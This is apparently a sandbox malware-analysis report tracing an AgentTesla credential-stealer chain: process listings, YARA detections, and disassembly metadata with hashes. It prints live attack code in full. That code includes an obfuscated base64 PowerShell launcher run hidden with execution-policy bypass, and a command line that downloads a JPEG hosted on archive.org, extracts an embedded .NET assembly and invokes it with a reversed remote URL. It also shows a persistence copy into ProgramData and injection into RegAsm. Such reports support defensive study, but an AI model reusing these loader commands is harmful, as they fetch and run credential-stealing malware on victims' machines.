? ?Ds? ? ? ? ?J? ? ? ? ?Bj? ? ? ? ?G8? ? ? ? ?bQBt? ? ? ? ?GE? ? ? ? ?bgBk? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?QwBv? ? ? ? ?G4? ? ? ? ?dgBl? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?Bd? ? ? ? ?Do? ? ? ? ?OgBG? ? ? ? ?HI? ? ? ? ?bwBt? ? ? ? ?EI? ? ? ? ?YQBz? ? ? ? ?GU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?FM? ? ? ? ?d? ? ? ? ?By? ? ? ? ?Gk? ? ? ? ?bgBn? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bi? ? ? ? ?GE? ? ? ? ?cwBl? ? ? ? ?DY? ? ? ? ?N? ? ? ? ?BD? ? ? ? ?G8? ? ? ? ?bQBt? ? ? ? ?GE? ? ? ? ?bgBk? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gw? ? ? ? ?bwBh? ? ? ? ?GQ? ? ? ? ?ZQBk? ? ? ? ?EE? ? ? ? ?cwBz? ? ? ? ?GU? ? ? ? ?bQBi? ? ? ? ?Gw? ? ? ? ?eQ? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?UgBl? ? ? ? ?GY? ? ? ? ?b? ? ? ? ?Bl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?Bp? ? ? ? ?G8? ? ? ? ?bg? ? ? ? ?u? ? ? ? ?EE? ? ? ? ?cwBz? ? ? ? ?GU? ? ? ? ?bQBi? ? ? ? ?Gw? ? ? ? ?eQBd? ? ? ? ?Do? ? ? ? ?OgBM? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bj? ? ? ? ?G8? ? ? ? ?bQBt? ? ? ? ?GE? ? ? ? ?bgBk? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?B0? ? ? ? ?Hk? ? ? ? ?c? ? ? ? ?Bl? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?b? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GQ? ? ? ? ?QQBz? ? ? ? ?HM? ? ? ? ?ZQBt? ? ? ? ?GI? ? ? ? ?b? ? ? ? ?B5? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?V? ? ? ? ?B5? ? ? ? ?H? ? ? ? ?? ? ? ? ?ZQ? ? ? ? ?o? ? ? ? ?Cc? ? ? ? ?Z? ? ? ? ?Bu? ? ? ? ?Gw? ? ? ? ?aQBi? ? ? ? ?C4? ? ? ? ?SQBP? ? ? ? ?C4? ? ? ? ?S? ? ? ? ?Bv? ? ? ? ?G0? ? ? ? ?ZQ? ? ? ? ?n? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?G0? ? ? ? ?ZQB0? ? ? ? ?Gg? ? ? ? ?bwBk? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?d? ? ? ? ?B5? ? ? ? ?H? ? ? ? ?? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?E0? ? ? ? ?ZQB0? ? ? ? ?Gg? ? ? ? ?bwBk? ? ? ? ?Cg? ? ? ? ?JwBW? ? ? ? ?EE? ? ? ? ?SQ? ? ? ? ?n? ? ? ? ?Ck? ? ? ? ?LgBJ? ? ? ? ?G4? ? ? ? ?dgBv? ? ? ? ?Gs? ? ? ? ?ZQ? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?bgB1? ? ? ? ?Gw? ? ? ? ?b? ? ? ? ?? ? ? ? ?s? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBv? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?Bb? ? ? ? ?F0? ? ? ? ?XQ? ? ? ? ?g? ? ? ? ?Cg? ? ? ? ?JwB0? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?E4? ? ? ? ?RwBS? ? ? ? ?E8? ? ? ? ?LwBn? ? ? ? ?G8? ? ? ? ?b? ? ? ? ?? ? ? ? ?v? ? ? ? ?G0? ? ? ? ?bwBj? ? ? ? ?C4? ? ? ? ?bwBu? ? ? ? ?GE? ? ? ? ?c? ? ? ? ?Bu? ? ? ? ?GE? ? ? ? ?c? ? ? ? ?Bl? ? ? ? ?C8? ? ? ? ?Lw? ? ? ? ?6? ? ? ? ?HM? ? ? ? ?c? ? ? ? ?B0? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?? ? ? ? ?n? ? ? ? ?C? ? ? ? ?? ? ? ? ?L? ? ? ? ?? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?MQ? ? ? ? ?n? ? ? ? ?C? ? ? ? ?? ? ? ? ?L? ? ? ? ?? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?Qw? ? ? ? ?6? ? ? ? ?Fw? ? ? ? ?U? ? ? ? ?By? ? ? ? ?G8? ? ? ? ?ZwBy? ? ? ? ?GE? ? ? ? ?bQBE? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?Fw? ? ? ? ?Jw? ? ? ? ?g? ? ? ? ?Cw? ? ? ? ?I? ? ? ? ?? ? ? ? ?n? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?By? ? ? ? ?G8? ? ? ? ?c? ? ? ? ?Bo? ? ? ? ?Gk? ? ? ? ?YQBu? ? ? ? ?HQ? ? ? ? ?ZQ? ? ? ? ?n? ? ? ? ?Cw? ? ? ? ?JwBS? ? ? ? ?GU? ? ? ? ?ZwBB? ? ? ? ?HM? ? ? ? ?bQ? ? ? ? ?n? ? ? ? ?Cw? ? ? ? ?JwBk? ? ? ? ?GU? ? ? ? ?cwBh? ? ? ? ?HQ? ? ? ? ?aQB2? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?Bv? ? ? ? ?Cc? ? ? ? ?KQ? ? ? ? ?p? ? ? ? ?? ? ? ? ?==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('? ? ? ? ?','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                                                      Imagebase:0x7ff6cb6b0000
                                                      File size:452'608 bytes
                                                      MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:3
                                                      Start time:04:38:51
                                                      Start date:30/08/2024
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff6ee680000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:false

                                                      General

                                                      Target ID:4
                                                      Start time:04:38:53
                                                      Start date:30/08/2024
                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))"
                                                      Imagebase:0x7ff6cb6b0000
                                                      File size:452'608 bytes
                                                      MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.1545150331.000001A8E9449000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.1545150331.000001A8E9449000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:5
                                                      Start time:04:38:56
                                                      Start date:30/08/2024
                                                      Path:C:\Windows\System32\cmd.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:"C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\atrophiante.js"
                                                      Imagebase:0x7ff6e5e00000
                                                      File size:289'792 bytes
                                                      MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:6
                                                      Start time:04:38:56
                                                      Start date:30/08/2024
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff6ee680000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:7
                                                      Start time:04:38:59
                                                      Start date:30/08/2024
                                                      Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                      Imagebase:0xa80000
                                                      File size:65'440 bytes
                                                      MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.2699963900.0000000002C4E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.2699963900.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2697144825.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.2697144825.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2699963900.0000000002C21000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.2699963900.0000000002C21000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      Reputation:high
                                                      Has exited:false

                                                      Disassembly

                                                      Reset < >

                                                        Executed Functions

                                                        Function 00007FFB4AD937B5 Relevance: .0, Instructions: 49COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000002.00000002.1618941909.00007FFB4AD90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AD90000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_2_2_7ffb4ad90000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
                                                        • Instruction ID: 4881678ac9f7ad6400bee31aa4e37cbded211de2e080650b6b543474345c1647
                                                        • Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
                                                        • Instruction Fuzzy Hash: 3301A77010CB0C8FD744EF0CE091AA6B3E0FB85320F10056DE58AC3661D632E882CB45

                                                        Execution Graph

                                                        Execution Coverage:9.3%
                                                        Dynamic/Decrypted Code Coverage:0%
                                                        Signature Coverage:0%
                                                        Total number of Nodes:12
                                                        Total number of Limit Nodes:0

                                                        Executed Functions

                                                        Function 00007FFB4AD97A01 Relevance: 1.8, APIs: 1, Instructions: 319processCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1572567696.00007FFB4AD90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AD90000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ad90000_powershell.jbxd
                                                        Similarity
                                                        • API ID: CreateProcess
                                                        • String ID:
                                                        • API String ID: 963392458-0
                                                        • Opcode ID: b3728dd95ec41894f074b88da879eaea4e2e35da5a77e2f95959eb46a5794d62
                                                        • Instruction ID: ea198ef996b8a03b4d3ab25670e1198322ba5b9ec251bfaf23776d6ca0fcb05b
                                                        • Opcode Fuzzy Hash: b3728dd95ec41894f074b88da879eaea4e2e35da5a77e2f95959eb46a5794d62
                                                        • Instruction Fuzzy Hash: 8BA10770908A5D8FDB99DF58C898BE9BBF1EB69301F1001AED44EE3291DB759984CF40
                                                        Function 00007FFB4AD9833D Relevance: 1.7, APIs: 1, Instructions: 212injectionCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1572567696.00007FFB4AD90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AD90000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ad90000_powershell.jbxd
                                                        Similarity
                                                        • API ID: MemoryProcessWrite
                                                        • String ID:
                                                        • API String ID: 3559483778-0
                                                        • Opcode ID: e2711aee4ceac43848db6ed15c9648092da047bd515abb3b70926c5b98c38b63
                                                        • Instruction ID: 3080f8053deb21bdf4824f926a441a03019e5860f962b8718af882cab80f86da
                                                        • Opcode Fuzzy Hash: e2711aee4ceac43848db6ed15c9648092da047bd515abb3b70926c5b98c38b63
                                                        • Instruction Fuzzy Hash: 19611370908A5C8FDB98DFA8C884BE9BBF1FB69310F1041AED44DE3251DB74A985CB44
                                                        Function 00007FFB4AD97E39 Relevance: 1.7, APIs: 1, Instructions: 187threadCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1572567696.00007FFB4AD90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AD90000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ad90000_powershell.jbxd
                                                        Similarity
                                                        • API ID: ContextThreadWow64
                                                        • String ID:
                                                        • API String ID: 983334009-0
                                                        • Opcode ID: 708529bdf4bdbcc1867f2ddcc388e4fb9d9664c6eafe3ce52f1f8a27e91e879f
                                                        • Instruction ID: 5e80aa59e7c1596bff17ec38ed7b625579370d899b3c7d22cc681afa58e41792
                                                        • Opcode Fuzzy Hash: 708529bdf4bdbcc1867f2ddcc388e4fb9d9664c6eafe3ce52f1f8a27e91e879f
                                                        • Instruction Fuzzy Hash: 85518E70D08A8D8FDB55DFA8C884BE9BBF1FB66310F1482AAD048D7256D7749885CF50
                                                        Function 00007FFB4AD98529 Relevance: 1.6, APIs: 1, Instructions: 136threadCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 33 7ffb4ad98529-7ffb4ad98535 34 7ffb4ad98537-7ffb4ad9853f 33->34 35 7ffb4ad98540-7ffb4ad9860a ResumeThread 33->35 34->35 38 7ffb4ad9860c 35->38 39 7ffb4ad98612-7ffb4ad98650 35->39 38->39
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1572567696.00007FFB4AD90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AD90000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ad90000_powershell.jbxd
                                                        Similarity
                                                        • API ID: ResumeThread
                                                        • String ID:
                                                        • API String ID: 947044025-0
                                                        • Opcode ID: cbfe753bd8f48929852bcc841349c1c77b857ef8fcf2cf3534613f526ffb7c24
                                                        • Instruction ID: 9056576590f6d83893a09957349a59663e108a32b6d386a6cb98a1f5b44340aa
                                                        • Opcode Fuzzy Hash: cbfe753bd8f48929852bcc841349c1c77b857ef8fcf2cf3534613f526ffb7c24
                                                        • Instruction Fuzzy Hash: 5241497090C64C8FDB99DFA8D885BADBBF0EB5A310F1041AED049E7252DA70A845CF51
                                                        Function 00007FFB4AE629E9 Relevance: 1.1, Instructions: 1127COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1573087049.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ae60000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 41a8a77b1f3e1a8c11b33bef1a0da24f461a800234db82b2b4fc2a4909663fc0
                                                        • Instruction ID: ca85a8317aa8bc42a63b5a00fceff5e90feb7784d02979c22c190a8e63a51efd
                                                        • Opcode Fuzzy Hash: 41a8a77b1f3e1a8c11b33bef1a0da24f461a800234db82b2b4fc2a4909663fc0
                                                        • Instruction Fuzzy Hash: B38135A2E4EBC50FE766BF3CC8191B47FD5FF52610B6805FED499CA093E90898068352
                                                        Function 00007FFB4AE6099E Relevance: .2, Instructions: 231COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1573087049.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ae60000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: d62fadceeec650addef51fe88d0a3b723072e99178cad6c34ada00fb4bd1be97
                                                        • Instruction ID: 3d947035f90283c45365fe6e65cf7310ca788cbbfc0a55fcce2e55901a15fd4e
                                                        • Opcode Fuzzy Hash: d62fadceeec650addef51fe88d0a3b723072e99178cad6c34ada00fb4bd1be97
                                                        • Instruction Fuzzy Hash: 1D6128A2A4EA960FF7AABE7CC5612B5A6C5FF54A50BB844FAD05DC31C3DD08EC058341
                                                        Function 00007FFB4AE60CDE Relevance: .2, Instructions: 155COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1573087049.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ae60000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 1c044c9e77f37bec6e3ecd34f88828ab17eabdc8caec05e2d02812542bce895c
                                                        • Instruction ID: f10708497f0cf52cd99707f0255864726fdb0477c957fb754db1fd6b9f47f746
                                                        • Opcode Fuzzy Hash: 1c044c9e77f37bec6e3ecd34f88828ab17eabdc8caec05e2d02812542bce895c
                                                        • Instruction Fuzzy Hash: 9A4147A2A5DA6A0FF7A5BE3CD5512B967C5FF84610BB446FAD41EC3186DD08EC018381
                                                        Function 00007FFB4AE609EA Relevance: .1, Instructions: 149COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1573087049.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ae60000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 5c14240855bccc60b6cb455dee6f8b45b2b2c4d4bbf47e0f740553b57eddc2b2
                                                        • Instruction ID: d525d43979bca9b2cc3711e7f4f18f28f251b80299d7901c8cf0333b99e84fc0
                                                        • Opcode Fuzzy Hash: 5c14240855bccc60b6cb455dee6f8b45b2b2c4d4bbf47e0f740553b57eddc2b2
                                                        • Instruction Fuzzy Hash: F34123E3A4EA970FF3AABE7CC5612786AC5BF50A50BB884F9D46DC31C3DC08A8054241
                                                        Function 00007FFB4AE628FC Relevance: .1, Instructions: 121COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1573087049.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ae60000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 786b84a4618e8555f7c38a62e700428084fc7a837dbe70ed0d278420b0ca2372
                                                        • Instruction ID: ee370aa9df48f2a1cb6669170229f2a334022277885d74755e87c0a124df14bb
                                                        • Opcode Fuzzy Hash: 786b84a4618e8555f7c38a62e700428084fc7a837dbe70ed0d278420b0ca2372
                                                        • Instruction Fuzzy Hash: DE31E972B0CA494FE768AE2CE8011F973D1FB99620B5406BFD54AC3597EE15E8078285
                                                        Function 00007FFB4AE61F9A Relevance: .1, Instructions: 111COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1573087049.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ae60000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 8e1a130e30e6e80b3ec9028fbed01d92e47a752aba7b5afb9859b0d179c0a80f
                                                        • Instruction ID: 5937b20c61fa2fc115ed45e2aa05ee951635f799d262fff4dea6c8a233230e1b
                                                        • Opcode Fuzzy Hash: 8e1a130e30e6e80b3ec9028fbed01d92e47a752aba7b5afb9859b0d179c0a80f
                                                        • Instruction Fuzzy Hash: 4331FB62F4DA190FEBE9BD6CD4116B8A3D2EF58610BA405FBD51DC7187EE09EC058380
                                                        Function 00007FFB4AE6225A Relevance: .1, Instructions: 109COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1573087049.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ae60000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 3e6d2446226ea8f8a9fc26a86f938da114d233f8831f7f4928fdc305e9fe7ca4
                                                        • Instruction ID: 14f98c036652903265d092bcdddba6a916864055ef4bd89e8904bec6f682ff27
                                                        • Opcode Fuzzy Hash: 3e6d2446226ea8f8a9fc26a86f938da114d233f8831f7f4928fdc305e9fe7ca4
                                                        • Instruction Fuzzy Hash: 9B210562F4CA194FE7A4BD6CE4462B8B3D5FF94610B6406F7D459C7186DE18E8054380
                                                        Function 00007FFB4AE60D2A Relevance: .1, Instructions: 72COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1573087049.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ae60000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 85e5296921816b5acb3d243f6509c4d2ef39375327d31ec65a978dd077cd24ef
                                                        • Instruction ID: dd0718601c10e35d5917bbebe4b0764bdd5480abcfe23ac57f5fa4fd1d1d74f0
                                                        • Opcode Fuzzy Hash: 85e5296921816b5acb3d243f6509c4d2ef39375327d31ec65a978dd077cd24ef
                                                        • Instruction Fuzzy Hash: 131106A2E9DA3A0BF7A5BD3CD6961B852C9FF94610BB447F6D82DC3196DD08FC004280
                                                        Function 00007FFB4AE61FB8 Relevance: .1, Instructions: 51COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1573087049.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ae60000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 15de74577c245e613615be8739babad11cc4d66e035bc55ad375d0aa20ffc328
                                                        • Instruction ID: 4f67c8f8071533abc90aef4bf57c1d736a5852aafce9659c5abac050487fd433
                                                        • Opcode Fuzzy Hash: 15de74577c245e613615be8739babad11cc4d66e035bc55ad375d0aa20ffc328
                                                        • Instruction Fuzzy Hash: 7501F7A2F4EA1A0AF6EABD7C952527891C6EF88610BF409FAD41DC7587ED09EC005240
                                                        Function 00007FFB4AE62281 Relevance: .0, Instructions: 39COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1573087049.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ae60000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 1d62cb6d307d64ee921505c5ee32b2ad19e6890d0bf662c7c9d3d0ac35017324
                                                        • Instruction ID: 98f67d0cf6d0abf47864d1cfb93dcd33c40505d1be80ae04c97b2e0b446a1ebb
                                                        • Opcode Fuzzy Hash: 1d62cb6d307d64ee921505c5ee32b2ad19e6890d0bf662c7c9d3d0ac35017324
                                                        • Instruction Fuzzy Hash: 80F05293F4CA6A0AE3E5BE6CA40A1F462C4EF58A20BA406B2E45CC724BEC089C010380
                                                        Function 00007FFB4AE61E3E Relevance: .0, Instructions: 30COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1573087049.00007FFB4AE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE60000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ae60000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e5b1f3692268fc4f5630b73705f3ab4f17cabc46c24625c8d8f3ef60d0c4a163
                                                        • Instruction ID: d897a6ea41d35122b3ad6050a8365648b507273928ae877a3c0d2ea962a86333
                                                        • Opcode Fuzzy Hash: e5b1f3692268fc4f5630b73705f3ab4f17cabc46c24625c8d8f3ef60d0c4a163
                                                        • Instruction Fuzzy Hash: B6E06173E4D9290DF2E5BDBCD4091F45184FF146107B405F2D91CC7543EC049C1051C0

                                                        Non-executed Functions

                                                        Function 00007FFB4AD90E0B Relevance: .3, Instructions: 337COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.1572567696.00007FFB4AD90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AD90000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffb4ad90000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
